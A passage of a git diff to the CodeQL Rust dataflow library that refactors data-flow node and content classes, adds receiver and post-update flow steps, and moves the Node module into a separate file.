+  override FieldExprCfgNode getAnAccess() { field = result.getFieldExpr().getStructField() }
+
+  final override string toString() {
+    exists(Variant v, string name, string vname |
+      this.isVariantField(v, name) and
+      vname = v.getName().getText() and
+      // only print field when the arity is > 1
+      if strictcount(v.getStructField(_)) > 1 then result = vname + "." + name else result = vname
+    )
+    or
+    exists(Struct s, string name, string sname |
+      this.isStructField(s, name) and
+      sname = s.getName().getText() and
+      // only print field when the arity is > 1
+      if strictcount(s.getStructField(_)) > 1 then result = sname + "." + name else result = sname
+    )
+  }
+
+  final override Location getLocation() { result = field.getLocation() }
+}
+
+/** A captured variable. */
+final class CapturedVariableContent extends Content, TCapturedVariableContent {
+  private Variable v;
+
+  CapturedVariableContent() { this = TCapturedVariableContent(v) }
+
+  /** Gets the captured variable. */
+  Variable getVariable() { result = v }
+
+  override string toString() { result = "captured " + v }
+
+  override Location getLocation() { result = v.getLocation() }
+}
+
+/** A value referred to by a reference. */
+final class ReferenceContent extends Content, TReferenceContent {
+  override string toString() { result = "&ref" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * An element in a collection where we do not track the specific collection
+ * type nor the placement of the element in the collection. Therefore the
+ * collection should be one where the elements are reasonably homogeneous,
+ * i.e., if one is tainted all elements are considered tainted.
+ *
+ * Examples include the elements of a set, array, vector, or stack.
+ */
+final class ElementContent extends Content, TElementContent {
+  override string toString() { result = "element" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * A value that a future resolves to.
+ */
+final class FutureContent extends Content, TFutureContent {
+  override string toString() { result = "future" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * Content stored at a position in a tuple.
+ *
+ * NOTE: Unlike `struct`s and `enum`s tuples are structural and not nominal,
+ * hence we don't store a canonical path for them.
+ */
+final class TuplePositionContent extends FieldContent, TTuplePositionContent {
+  private int pos;
+
+  TuplePositionContent() { this = TTuplePositionContent(pos) }
+
+  /** Gets the index of this tuple position. */
+  int getPosition() { result = pos }
+
+  override FieldExprCfgNode getAnAccess() {
+    // TODO: limit to tuple types
+    result.getIdentifier().getText().toInt() = pos
+  }
+
+  override string toString() { result = "tuple." + pos.toString() }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * A content for the index of an argument to at function call.
+ *
+ * Used by the model generator to create flow summaries for higher-order
+ * functions.
+ */
+final class FunctionCallArgumentContent extends Content, TFunctionCallArgumentContent {
+  private int pos;
+
+  FunctionCallArgumentContent() { this = TFunctionCallArgumentContent(pos) }
+
+  int getPosition() { result = pos }
+
+  override string toString() { result = "function argument at " + pos }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * A content for the return value of function call.
+ *
+ * Used by the model generator to create flow summaries for higher-order
+ * functions.
+ */
+final class FunctionCallReturnContent extends Content, TFunctionCallReturnContent {
+  override string toString() { result = "function return" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/** A value that represents a set of `Content`s. */
+abstract class ContentSet extends TContentSet {
+  /** Gets a textual representation of this element. */
+  abstract string toString();
+
+  /** Gets a content that may be stored into when storing into this set. */
+  abstract Content getAStoreContent();
+
+  /** Gets a content that may be read from when reading from this set. */
+  abstract Content getAReadContent();
+}
+
+final class SingletonContentSet extends ContentSet, TSingletonContentSet {
+  private Content c;
+
+  SingletonContentSet() { this = TSingletonContentSet(c) }
+
+  Content getContent() { result = c }
+
+  override string toString() { result = c.toString() }
+
+  override Content getAStoreContent() { result = c }
+
+  override Content getAReadContent() { result = c }
+}
+
+/**
+ * A step in a flow summary defined using `OptionalStep[name]`. An `OptionalStep` is "opt-in", which means
+ * that by default the step is not present in the flow summary and needs to be explicitly enabled by defining
+ * an additional flow step.
+ */
+final class OptionalStep extends ContentSet, TOptionalStep {
+  override string toString() {
+    exists(string name |
+      this = TOptionalStep(name) and
+      result = "OptionalStep[" + name + "]"
+    )
+  }
+
+  override Content getAStoreContent() { none() }
+
+  override Content getAReadContent() { none() }
+}
+
+/**
+ * A step in a flow summary defined using `OptionalBarrier[name]`. An `OptionalBarrier` is "opt-out", by default
+ * data can flow freely through the step. Flow through the step can be explicity blocked by defining its node as a barrier.
+ */
+final class OptionalBarrier extends ContentSet, TOptionalBarrier {
+  override string toString() {
+    exists(string name |
+      this = TOptionalBarrier(name) and
+      result = "OptionalBarrier[" + name + "]"
+    )
+  }
+
+  override Content getAStoreContent() { none() }
+
+  override Content getAReadContent() { none() }
+}
+
+private import codeql.rust.internal.CachedStages
+
+cached
+newtype TContent =
+  TTupleFieldContent(TupleField field) { Stages::DataFlowStage::ref() } or
+  TStructFieldContent(StructField field) or
+  // TODO: Remove once library types are extracted
+  TVariantInLibTupleFieldContent(VariantInLib::VariantInLib v, int pos) { pos = v.getAPosition() } or
+  TElementContent() or
+  TFutureContent() or
+  TTuplePositionContent(int pos) {
+    pos in [0 .. max([
+              any(TuplePat pat).getNumberOfFields(),
+              any(FieldExpr access).getIdentifier().getText().toInt()
+            ]
+        )]
+  } or
+  TFunctionCallReturnContent() or
+  TFunctionCallArgumentContent(int pos) {
+    pos in [0 .. any(CallExpr c).getArgList().getNumberOfArgs() - 1]
+  } or
+  TCapturedVariableContent(VariableCapture::CapturedVariable v) or
+  TReferenceContent()
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll
index 18d19fa7bd10..c95056a7dba0 100644
--- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll
@@ -1,6 +1,7 @@
 import codeql.rust.dataflow.DataFlow::DataFlow as DataFlow
 private import rust
 private import codeql.rust.dataflow.internal.DataFlowImpl
+private import codeql.rust.dataflow.internal.Node as Node
 private import codeql.rust.dataflow.internal.TaintTrackingImpl
 private import codeql.dataflow.internal.DataFlowImplConsistency
 
@@ -11,7 +12,15 @@ private module Input implements InputSig<Location, RustDataFlow> {
     not exists(n.asExpr().getLocation())
   }
 
-  predicate postWithInFlowExclude(RustDataFlow::Node n) { n instanceof Node::FlowSummaryNode }
+  predicate postWithInFlowExclude(RustDataFlow::Node n) {
+    n instanceof Node::FlowSummaryNode
+    or
+    // We allow flow into post-update node for receiver expressions (from the
+    // synthetic post receiever node).
+    n.(Node::PostUpdateNode).getPreUpdateNode().asExpr() = any(Node::ReceiverNode r).getReceiver()
+    or
+    n.(Node::PostUpdateNode).getPreUpdateNode().asExpr() = getPostUpdateReverseStep(_, _)
+  }
 
   predicate missingLocationExclude(RustDataFlow::Node n) { not exists(n.asExpr().getLocation()) }
 }
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll
index cc7ddbc649c9..e3183c9f82e2 100644
--- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll
@@ -4,16 +4,19 @@
 
 private import codeql.util.Void
 private import codeql.util.Unit
+private import codeql.util.Boolean
 private import codeql.dataflow.DataFlow
 private import codeql.dataflow.internal.DataFlowImpl
 private import rust
 private import SsaImpl as SsaImpl
 private import codeql.rust.controlflow.internal.Scope as Scope
-private import codeql.rust.elements.internal.PathResolution
+private import codeql.rust.internal.PathResolution
 private import codeql.rust.controlflow.ControlFlowGraph
 private import codeql.rust.controlflow.CfgNodes
 private import codeql.rust.dataflow.Ssa
 private import codeql.rust.dataflow.FlowSummary
+private import Node
+private import Content
 private import FlowSummaryImpl as FlowSummaryImpl
 
 
@@ -98,15 +101,17 @@ final class DataFlowCall extends TDataFlowCall {
 }
 
 /**
- * The position of a parameter or an argument in a function or call.
+ * The position of a parameter in a function.
  *
- * As there is a 1-to-1 correspondence between parameter positions and
- * arguments positions in Rust we use the same type for both.
+ * In Rust there is a 1-to-1 correspondence between parameter positions and
+ * arguments positions, so we use the same underlying type for both.
  */
 final class ParameterPosition extends TParameterPosition {
   /** Gets the underlying integer position, if any. */
   int getPosition() { this = TPositionalParameterPosition(result) }
 
+  predicate hasPosition() { exists(this.getPosition()) }
+
   /** Holds if this position represents the `self` position. */
   predicate isSelf() { this = TSelfParameterPosition() }
 
@@ -132,6 +137,22 @@ final class ParameterPosition extends TParameterPosition {
   }
 }
 
+/**
+ * The position of an argument in a call.
+ *
+ * In Rust there is a 1-to-1 correspondence between parameter positions and
+ * arguments positions, so we use the same underlying type for both.
+ */
+final class ArgumentPosition extends ParameterPosition {
+  /** Gets the argument of `call` at this position, if any. */
+  Expr getArgument(CallExprBase call) {
+    result = call.getArgList().getArg(this.getPosition())
+    or
+    this.isSelf() and
+    result = call.(MethodCallExpr).getReceiver()
+  }
+}
+
 /** Holds if `call` invokes a qualified path that resolves to a method. */
 private predicate callToMethod(CallExpr call) {
   exists(Path path |
@@ -141,451 +162,44 @@ private predicate callToMethod(CallExpr call) {
   )
 }
 
-/** Holds if `arg` is an argument of `call` at the position `pos`. */
-private predicate isArgumentForCall(ExprCfgNode arg, CallExprBaseCfgNode call, ParameterPosition pos) {
+/**
+ * Holds if `arg` is an argument of `call` at the position `pos`.
+ *
+ * Note that this does not hold for the receiever expression of a method call
+ * as the synthetic `ReceiverNode` is the argument for the `self` parameter.
+ */
+predicate isArgumentForCall(ExprCfgNode arg, CallExprBaseCfgNode call, ParameterPosition pos) {
   if callToMethod(call.(CallExprCfgNode).getCallExpr())
-  then (
+  then
     // The first argument is for the `self` parameter
     arg = call.getArgument(0) and pos.isSelf()
     or
     // Succeeding arguments are shifted left
     arg = call.getArgument(pos.getPosition() + 1)
-  ) else (
-    // The self argument in a method call.
-    arg = call.(MethodCallExprCfgNode).getReceiver() and pos.isSelf()
-    or
-    arg = call.getArgument(pos.getPosition())
-  )
-}
-
-/**
- * Provides the `Node` class and subclasses thereof.
- *
- * Classes with names ending in `Public` are exposed as `final` aliases in the
- * public `DataFlow` API, so they should not expose internal implementation details.
- */
-module Node {
-  /** An element, viewed as a node in a data flow graph. */
-  abstract class NodePublic extends TNode {
-    /** Gets the location of this node. */
-    abstract Location getLocation();
-
-    /** Gets a textual representation of this node. */
-    abstract string toString();
-
-    /**
-     * Gets the expression that corresponds to this node, if any.
-     */
-    ExprCfgNode asExpr() { none() }
-
-    /**
-     * Gets the parameter that corresponds to this node, if any.
-     */
-    ParamBase asParameter() { result = this.(SourceParameterNode).getParameter().getParamBase() }
-
-    /**
-     * Gets the pattern that corresponds to this node, if any.
-     */
-    PatCfgNode asPat() { none() }
-  }
-
-  abstract class Node extends NodePublic {
-    /** Gets the enclosing callable. */
-    DataFlowCallable getEnclosingCallable() { result = TCfgScope(this.getCfgScope()) }
-
-    /** Do not call: use `getEnclosingCallable()` instead. */
-    abstract CfgScope getCfgScope();
-
-    /**
-     * Gets the control flow node that corresponds to this data flow node.
-     */
-    CfgNode getCfgNode() { none() }
-  }
-
-  /** A node type that is not implemented. */
-  final class NaNode extends Node {
-    NaNode() { none() }
-
-    override CfgScope getCfgScope() { none() }
-
-    override string toString() { result = "N/A" }
-
-    override Location getLocation() { none() }
-  }
-
-  /** A data flow node used to model flow summaries. */
-  class FlowSummaryNode extends Node, TFlowSummaryNode {
-    FlowSummaryImpl::Private::SummaryNode getSummaryNode() { this = TFlowSummaryNode(result) }
-
-    /** Gets the summarized callable that this node belongs to, if any. */
-    FlowSummaryImpl::Public::SummarizedCallable getSummarizedCallable() {
-      result = this.getSummaryNode().getSummarizedCallable()
-    }
-
-    /** Gets the AST source node that this node belongs to, if any */
-    FlowSummaryImpl::Public::SourceElement getSourceElement() {
-      result = this.getSummaryNode().getSourceElement()
-    }
-
-    /** Gets the AST sink node that this node belongs to, if any */
-    FlowSummaryImpl::Public::SinkElement getSinkElement() {
-      result = this.getSummaryNode().getSinkElement()
-    }
-
-    /** Holds is this node is a source node of kind `kind`. */
-    predicate isSource(string kind, string model) {
-      this.getSummaryNode().(FlowSummaryImpl::Private::SourceOutputNode).isEntry(kind, model)
-    }
-
-    /** Holds is this node is a sink node of kind `kind`. */
-    predicate isSink(string kind, string model) {
-      this.getSummaryNode().(FlowSummaryImpl::Private::SinkInputNode).isExit(kind, model)
-    }
-
-    override CfgScope getCfgScope() {
-      result = this.getSummaryNode().getSourceElement().getEnclosingCfgScope()
-      or
-      result = this.getSummaryNode().getSinkElement().getEnclosingCfgScope()
-    }
-
-    override DataFlowCallable getEnclosingCallable() {
-      result.asLibraryCallable() = this.getSummarizedCallable()
-      or
-      result.asCfgScope() = this.getCfgScope()
-    }
-
-    override Location getLocation() {
-      exists(this.getSummarizedCallable()) and
-      result instanceof EmptyLocation
-      or
-      result = this.getSourceElement().getLocation()
-      or
-      result = this.getSinkElement().getLocation()
-    }
-
-    override string toString() { result = this.getSummaryNode().toString() }
-  }
-
-  /** A data flow node that corresponds directly to a CFG node for an AST node. */
-  abstract class AstCfgFlowNode extends Node {
-    AstCfgNode n;
-
-    final override CfgNode getCfgNode() { result = n }
-
-    final override CfgScope getCfgScope() { result = n.getAstNode().getEnclosingCfgScope() }
-
-    final override Location getLocation() { result = n.getAstNode().getLocation() }
-
-    final override string toString() { result = n.getAstNode().toString() }
-  }
-
-  /**
-   * A node in the data flow graph that corresponds to an expression in the
-   * AST.
-   *
-   * Note that because of control flow splitting, one `Expr` may correspond
-   * to multiple `ExprNode`s, just like it may correspond to multiple
-   * `ControlFlow::Node`s.
-   */
-  class ExprNode extends AstCfgFlowNode, TExprNode {
-    override ExprCfgNode n;
-
-    ExprNode() { this = TExprNode(n) }
-
-    override ExprCfgNode asExpr() { result = n }
-  }
-
-  final class PatNode extends AstCfgFlowNode, TPatNode {
-    override PatCfgNode n;
-
-    PatNode() { this = TPatNode(n) }
-
-    override PatCfgNode asPat() { result = n }
-  }
-
-  /** A data flow node that corresponds to a name node in the CFG. */
-  final class NameNode extends AstCfgFlowNode, TNameNode {
-    override NameCfgNode n;
-
-    NameNode() { this = TNameNode(n) }
-
-    NameCfgNode asName() { result = n }
-  }
-
-  /**
-   * The value of a parameter at function entry, viewed as a node in a data
-   * flow graph.
-   */
-  abstract class ParameterNode extends Node {
-    /** Holds if this node is a parameter of `c` at position `pos`. */
-    abstract predicate isParameterOf(DataFlowCallable c, ParameterPosition pos);
-  }
-
-  final class SourceParameterNode extends AstCfgFlowNode, ParameterNode, TSourceParameterNode {
-    override ParamBaseCfgNode n;
-
-    SourceParameterNode() { this = TSourceParameterNode(n) }
-
-    override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      n.getAstNode() = pos.getParameterIn(c.asCfgScope().(Callable).getParamList())
-    }
-
-    /** Get the parameter position of this parameter. */
-    ParameterPosition getPosition() { this.isParameterOf(_, result) }
-
-    /** Gets the parameter in the CFG that this node corresponds to. */
-    ParamBaseCfgNode getParameter() { result = n }
-  }
-
-  /** A parameter for a library callable with a flow summary. */
-  final class SummaryParameterNode extends ParameterNode, FlowSummaryNode {
-    private ParameterPosition pos_;
-
-    SummaryParameterNode() {
-      FlowSummaryImpl::Private::summaryParameterNode(this.getSummaryNode(), pos_)
-    }
-
-    override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      this.getSummarizedCallable() = c.asLibraryCallable() and pos = pos_
-    }
-  }
-
-  /**
-   * The run-time representation of a closure itself at function entry, viewed
-   * as a node in a data flow graph.
-   */
-  final class ClosureParameterNode extends ParameterNode, TClosureSelfReferenceNode {
-    private CfgScope cfgScope;
-
-    ClosureParameterNode() { this = TClosureSelfReferenceNode(cfgScope) }
-
-    final override CfgScope getCfgScope() { result = cfgScope }
-
-    override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      cfgScope = c.asCfgScope() and pos.isClosureSelf()
-    }
-
-    override Location getLocation() { result = cfgScope.getLocation() }
-
-    override string toString() { result = "closure self in " + cfgScope }
-  }
-
-  abstract class ArgumentNode extends Node {
-    abstract predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos);
-  }
-
-  final class ExprArgumentNode extends ArgumentNode, ExprNode {
-    private CallExprBaseCfgNode call_;
-    private RustDataFlow::ArgumentPosition pos_;
-
-    ExprArgumentNode() { isArgumentForCall(n, call_, pos_) }
-
-    override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
-      call.asCallBaseExprCfgNode() = call_ and pos = pos_
-    }
-  }
-
-  final class SummaryArgumentNode extends FlowSummaryNode, ArgumentNode {
-    private FlowSummaryImpl::Private::SummaryNode receiver;
-    private RustDataFlow::ArgumentPosition pos_;
-
-    SummaryArgumentNode() {
-      FlowSummaryImpl::Private::summaryArgumentNode(receiver, this.getSummaryNode(), pos_)
-    }
-
-    override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
-      call.isSummaryCall(_, receiver) and pos = pos_
-    }
-  }
-
-  /**
-   * A data flow node that represents the run-time representation of a closure
-   * passed into the closure body at an invocation.
-   */
-  final class ClosureArgumentNode extends ArgumentNode, ExprNode {
-    private CallExprCfgNode call_;
-
-    ClosureArgumentNode() { lambdaCallExpr(call_, _, this.asExpr()) }
-
-    override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
-      call.asCallExprCfgNode() = call_ and
-      pos.isClosureSelf()
-    }
-  }
-
-  /** An SSA node. */
-  class SsaNode extends Node, TSsaNode {
-    SsaImpl::DataFlowIntegration::SsaNode node;
-
-    SsaNode() { this = TSsaNode(node) }
-
-    override CfgScope getCfgScope() { result = node.getBasicBlock().getScope() }
-
-    /** Gets the definition this node corresponds to, if any. */
-    SsaImpl::Definition asDefinition() {
-      result = node.(SsaImpl::DataFlowIntegration::SsaDefinitionNode).getDefinition()
-    }
-
-    override Location getLocation() { result = node.getLocation() }
-
-    override string toString() { result = "[SSA] " + node.toString() }
-  }
-
-  /** A data flow node that represents a value returned by a callable. */
-  abstract class ReturnNode extends Node {
-    abstract ReturnKind getKind();
-  }
-
-  final class ExprReturnNode extends ExprNode, ReturnNode {
-    ExprReturnNode() { this.getCfgNode().getASuccessor() instanceof AnnotatedExitCfgNode }
-
-    override ReturnKind getKind() { result = TNormalReturnKind() }
-  }
-
-  final class SummaryReturnNode extends FlowSummaryNode, ReturnNode {
-    private ReturnKind rk;
-
-    SummaryReturnNode() { FlowSummaryImpl::Private::summaryReturnNode(this.getSummaryNode(), rk) }
-
-    override ReturnKind getKind() { result = rk }
-  }
-
-  /** A data flow node that represents the output of a call. */
-  abstract class OutNode extends Node {
-    /** Gets the underlying call for this node. */
-    abstract DataFlowCall getCall(ReturnKind kind);
-  }
-
-  final private class ExprOutNode extends ExprNode, OutNode {
-    ExprOutNode() { this.asExpr() instanceof CallExprBaseCfgNode }
-
-    /** Gets the underlying call CFG node that includes this out node. */
-    override DataFlowCall getCall(ReturnKind kind) {
-      result.asCallBaseExprCfgNode() = this.getCfgNode() and
-      kind = TNormalReturnKind()
-    }
-  }
-
-  final class SummaryOutNode extends FlowSummaryNode, OutNode {
-    private DataFlowCall call;
-    private ReturnKind kind_;
-
-    SummaryOutNode() {
-      exists(FlowSummaryImpl::Private::SummaryNode receiver |
-        call.isSummaryCall(_, receiver) and
-        FlowSummaryImpl::Private::summaryOutNode(receiver, this.getSummaryNode(), kind_)
-      )
-    }
-
-    override DataFlowCall getCall(ReturnKind kind) { result = call and kind = kind_ }
-  }
-
-  /**
-   * A synthesized data flow node representing a closure object that tracks
-   * captured variables.
-   */
-  class CaptureNode extends Node, TCaptureNode {
-    private VariableCapture::Flow::SynthesizedCaptureNode cn;
-
-    CaptureNode() { this = TCaptureNode(cn) }
-
-    VariableCapture::Flow::SynthesizedCaptureNode getSynthesizedCaptureNode() { result = cn }
-
-    override CfgScope getCfgScope() { result = cn.getEnclosingCallable() }
-
-    override Location getLocation() { result = cn.getLocation() }
-
-    override string toString() { result = cn.toString() }
-  }
-
-  /**
-   * A node associated with an object after an operation that might have
-   * changed its state.
-   *
-   * This can be either the argument to a callable after the callable returns
-   * (which might have mutated the argument), or the qualifier of a field after
-   * an update to the field.
-   *
-   * Nodes corresponding to AST elements, for example `ExprNode`, usually refer
-   * to the value before the update.
-   */
-  abstract class PostUpdateNodePublic extends NodePublic {
-    /** Gets the node before the state update. */
-    abstract NodePublic getPreUpdateNode();
-  }
-
-  abstract class PostUpdateNode extends PostUpdateNodePublic, Node {
-    override string toString() { result = "[post] " + this.getPreUpdateNode().toString() }
-  }
-
-  final class ExprPostUpdateNode extends PostUpdateNode, TExprPostUpdateNode {
-    private ExprCfgNode n;
-
-    ExprPostUpdateNode() { this = TExprPostUpdateNode(n) }
-
-    override Node getPreUpdateNode() { result = TExprNode(n) }
-
-    override CfgScope getCfgScope() { result = n.getScope() }
-
-    override Location getLocation() { result = n.getLocation() }
-  }
-
-  final class SummaryPostUpdateNode extends FlowSummaryNode, PostUpdateNode {
-    private FlowSummaryNode pre;
-
-    SummaryPostUpdateNode() {
-      FlowSummaryImpl::Private::summaryPostUpdateNode(this.getSummaryNode(), pre.getSummaryNode())
-    }
-
-    override Node getPreUpdateNode() { result = pre }
-
-    final override string toString() { result = PostUpdateNode.super.toString() }
-  }
-
-  private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode {
-    private CaptureNode pre;
-
-    CapturePostUpdateNode() {
-      VariableCapture::Flow::capturePostUpdateNode(this.getSynthesizedCaptureNode(),
-        pre.getSynthesizedCaptureNode())
-    }
-
-    override Node getPreUpdateNode() { result = pre }
-
-    final override string toString() { result = PostUpdateNode.super.toString() }
-  }
-
-  final class CastNode = NaNode;
+  else arg = call.getArgument(pos.getPosition())
 }
 
-final class Node = Node::Node;
-
 /** Provides logic related to SSA. */
 module SsaFlow {
   private module SsaFlow = SsaImpl::DataFlowIntegration;
 
-  private Node::ParameterNode toParameterNode(ParamCfgNode p) {
-    result.(Node::SourceParameterNode).getParameter() = p
-  }
-
   /** Converts a control flow node into an SSA control flow node. */
   SsaFlow::Node asNode(Node n) {
     n = TSsaNode(result)
     or
     result.(SsaFlow::ExprNode).getExpr() = n.asExpr()
     or
-    result.(SsaFlow::ExprPostUpdateNode).getExpr() =
-      n.(Node::PostUpdateNode).getPreUpdateNode().asExpr()
-    or
-    n = toParameterNode(result.(SsaFlow::ParameterNode).getParameter())
+    result.(SsaFlow::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr()
   }
 
-  predicate localFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-    SsaFlow::localFlowStep(def, asNode(nodeFrom), asNode(nodeTo), isUseStep)
+  predicate localFlowStep(
+    SsaImpl::SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep
+  ) {
+    SsaFlow::localFlowStep(v, asNode(nodeFrom), asNode(nodeTo), isUseStep)
   }
 
-  predicate localMustFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo) {
-    SsaFlow::localMustFlowStep(def, asNode(nodeFrom), asNode(nodeTo))
+  predicate localMustFlowStep(Node nodeFrom, Node nodeTo) {
+    SsaFlow::localMustFlowStep(_, asNode(nodeFrom), asNode(nodeTo))
   }
 }
 
@@ -604,21 +218,41 @@ private ExprCfgNode getALastEvalNode(ExprCfgNode e) {
   result.(BreakExprCfgNode).getTarget() = e
 }
 
+/**
+ * Holds if a reverse local flow step should be added from the post-update node
+ * for `e` to the post-update node for the result.
+ *
+ * This is needed to allow for side-effects on compound expressions to propagate
+ * to sub components. For example, in
+ *
+ * ```rust
+ * ({ foo(); &mut a}).set_data(taint);
+ * ```
+ *
+ * we add a reverse flow step from `[post] { foo(); &mut a}` to `[post] &mut a`,
+ * in order for the side-effect of `set_data` to reach `&mut a`.
+ */
+ExprCfgNode getPostUpdateReverseStep(ExprCfgNode e, boolean preservesValue) {
+  result = getALastEvalNode(e) and
+  preservesValue = true
+  or
+  result = e.(CastExprCfgNode).getExpr() and
+  preservesValue = false
+}
+
 module LocalFlow {
   predicate flowSummaryLocalStep(Node nodeFrom, Node nodeTo, string model) {
     exists(FlowSummaryImpl::Public::SummarizedCallable c |
-      FlowSummaryImpl::Private::Steps::summaryLocalStep(nodeFrom
-            .(Node::FlowSummaryNode)
-            .getSummaryNode(), nodeTo.(Node::FlowSummaryNode).getSummaryNode(), true, model) and
-      c = nodeFrom.(Node::FlowSummaryNode).getSummarizedCallable()
+      FlowSummaryImpl::Private::Steps::summaryLocalStep(nodeFrom.(FlowSummaryNode).getSummaryNode(),
+        nodeTo.(FlowSummaryNode).getSummaryNode(), true, model) and
+      c = nodeFrom.(FlowSummaryNode).getSummarizedCallable()
     )
     or
-    FlowSummaryImpl::Private::Steps::sourceLocalStep(nodeFrom
-          .(Node::FlowSummaryNode)
-          .getSummaryNode(), nodeTo, model)
+    FlowSummaryImpl::Private::Steps::sourceLocalStep(nodeFrom.(FlowSummaryNode).getSummaryNode(),
+      nodeTo, model)
     or
     FlowSummaryImpl::Private::Steps::sinkLocalStep(nodeFrom,
-      nodeTo.(Node::FlowSummaryNode).getSummaryNode(), model)
+      nodeTo.(FlowSummaryNode).getSummaryNode(), model)
   }
 
   pragma[nomagic]
@@ -643,10 +277,10 @@ module LocalFlow {
     )
     or
     // An edge from a pattern/expression to its corresponding SSA definition.
-    nodeFrom.(Node::AstCfgFlowNode).getCfgNode() =
-      nodeTo.(Node::SsaNode).asDefinition().(Ssa::WriteDefinition).getControlFlowNode()
+    nodeFrom.(AstCfgFlowNode).getCfgNode() =
+      nodeTo.(SsaNode).asDefinition().(Ssa::WriteDefinition).getControlFlowNode()
     or
-    nodeFrom.(Node::SourceParameterNode).getParameter().(ParamCfgNode).getPat() = nodeTo.asPat()
+    nodeFrom.(SourceParameterNode).getParameter().(ParamCfgNode).getPat() = nodeTo.asPat()
     or
     exists(AssignmentExprCfgNode a |
       a.getRhs() = nodeFrom.getCfgNode() and
@@ -659,6 +293,17 @@ module LocalFlow {
     )
     or
     nodeFrom.asPat().(OrPatCfgNode).getAPat() = nodeTo.asPat()
+    or
+    // Simple value step from receiver expression to receiver node, in case
+    // there is no implicit deref or borrow operation.
+    nodeFrom.asExpr() = nodeTo.(ReceiverNode).getReceiver()
+    or
+    // The dual step of the above, for the post-update nodes.
+    nodeFrom.(PostUpdateNode).getPreUpdateNode().(ReceiverNode).getReceiver() =
+      nodeTo.(PostUpdateNode).getPreUpdateNode().asExpr()
+    or
+    nodeTo.(PostUpdateNode).getPreUpdateNode().asExpr() =
+      getPostUpdateReverseStep(nodeFrom.(PostUpdateNode).getPreUpdateNode().asExpr(), true)
   }
 }
 
@@ -668,7 +313,7 @@ module LocalFlow {
  *
  * TODO: Remove once library code is extracted.
  */
-private module VariantInLib {
+module VariantInLib {
   private import codeql.util.Option
 
   private class CrateOrigin extends string {
@@ -781,213 +426,10 @@ private module VariantInLib {
 
 class VariantInLibTupleFieldContent = VariantInLib::VariantInLibTupleFieldContent;
 
-/**
- * A path to a value contained in an object. For example a field name of a struct.
- */
-abstract class Content extends TContent {
-  /** Gets a textual representation of this content. */
-  abstract string toString();
-
-  /** Gets the location of this content. */
-  abstract Location getLocation();
-}
-
-/** A field belonging to either a variant or a struct. */
-abstract class FieldContent extends Content {
-  /** Gets an access to this field. */
-  pragma[nomagic]
-  abstract FieldExprCfgNode getAnAccess();
-}
-
-/** A tuple field belonging to either a variant or a struct. */
-class TupleFieldContent extends FieldContent, TTupleFieldContent {
-  private TupleField field;
-
-  TupleFieldContent() { this = TTupleFieldContent(field) }
-
-  predicate isVariantField(Variant v, int pos) { field.isVariantField(v, pos) }
-
-  predicate isStructField(Struct s, int pos) { field.isStructField(s, pos) }
-
-  override FieldExprCfgNode getAnAccess() { none() } // TODO
-
-  final override string toString() {
-    exists(Variant v, int pos, string vname |
-      this.isVariantField(v, pos) and
-      vname = v.getName().getText() and
-      // only print indices when the arity is > 1
-      if exists(v.getTupleField(1)) then result = vname + "(" + pos + ")" else result = vname
-    )
-    or
-    exists(Struct s, int pos, string sname |
-      this.isStructField(s, pos) and
-      sname = s.getName().getText() and
-      // only print indices when the arity is > 1
-      if exists(s.getTupleField(1)) then result = sname + "(" + pos + ")" else result = sname
-    )
-  }
-
-  final override Location getLocation() { result = field.getLocation() }
-}
-
-/** A record field belonging to either a variant or a struct. */
-class RecordFieldContent extends FieldContent, TRecordFieldContent {
-  private RecordField field;
-
-  RecordFieldContent() { this = TRecordFieldContent(field) }
-
-  predicate isVariantField(Variant v, string name) { field.isVariantField(v, name) }
-
-  predicate isStructField(Struct s, string name) { field.isStructField(s, name) }
-
-  override FieldExprCfgNode getAnAccess() { none() } // TODO
-
-  final override string toString() {
-    exists(Variant v, string name, string vname |
-      this.isVariantField(v, name) and
-      vname = v.getName().getText() and
-      // only print field when the arity is > 1
-      if strictcount(v.getRecordField(_)) > 1 then result = vname + "." + name else result = vname
-    )
-    or
-    exists(Struct s, string name, string sname |
-      this.isStructField(s, name) and
-      sname = s.getName().getText() and
-      // only print field when the arity is > 1
-      if strictcount(s.getRecordField(_)) > 1 then result = sname + "." + name else result = sname
-    )
-  }
-
-  final override Location getLocation() { result = field.getLocation() }
-}
-
-/** A captured variable. */
-private class CapturedVariableContent extends Content, TCapturedVariableContent {
-  private Variable v;
-
-  CapturedVariableContent() { this = TCapturedVariableContent(v) }
-
-  /** Gets the captured variable. */
-  Variable getVariable() { result = v }
-
-  override string toString() { result = "captured " + v }
-
-  override Location getLocation() { result = v.getLocation() }
-}
-
-/** A value referred to by a reference. */
-final class ReferenceContent extends Content, TReferenceContent {
-  override string toString() { result = "&ref" }
-
